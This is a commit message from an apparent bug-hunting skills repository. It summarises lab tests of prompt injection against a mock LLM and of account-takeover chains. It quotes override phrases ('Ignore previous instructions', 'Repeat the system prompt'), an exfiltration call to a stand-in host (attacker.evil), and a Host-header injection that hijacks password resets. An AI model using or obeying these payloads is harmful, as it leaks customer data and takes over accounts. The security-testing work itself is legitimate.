mirror of
https://github.com/elementalsouls/Claude-BugHunter.git
synced 2026-11-24 20:30:23 +01:00
Five tests, five passes across two skill areas. LLM prompt injection (hunt-llm-ai): - Test 21 ASI01: direct prompt injection extracts system prompt + hidden customer data via "Repeat the system prompt" and "Ignore previous instructions" payloads. Both lead to full data leak. - Test 22 ASI02: indirect prompt injection via attacker-controlled document. [ATTACKER-INSTRUCTION] embedded in document text hijacks the LLM into revealing customer data. Real-world delivery surfaces: summarized emails, fetched web pages, PDFs with invisible attacker text. - Test 23 ASI03: tool-use exfiltration. LLM has fetch_url tool with allowlist (acme.example/help/*); attacker tricks LLM into calling fetch_url(http://attacker.evil/exfil?ctx=) with sensitive document context as URL parameter. Allowlist bypassed, data exfiltrated. Mock LLM is deterministic pattern-match — reproduces real-LLM failure modes against the same payloads operators use against real production chatbots. Same payloads work against real APIs. ATO chain (hunt-ato): - Test 24 Path 1: host-header injection in password reset endpoint. Server builds reset URL from request.host (which respects attacker-supplied Host header). Attacker submits /password-reset with Host: attacker.evil; victim's reset link points to attacker.evil; clicking it leaks the token. Full ATO. - Test 25 Path 2: silent email swap. Attacker with stolen session changes account email — no re-authentication, no confirmation to old or new mailbox. Then requests password reset for new email; reset goes to attacker mailbox. Bob is locked out. Chain: cookie theft + missing re-auth = persistent ATO. Combined Phase 2 verification: 29+ skills exercised, 9+ skill content gaps catalogued and closed. Lab source at docs/verification/phase2i-lab/app.py (~200 lines, shippable). The mock LLM design lets any reader stress-test prompt-injection payloads without burning real API tokens. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>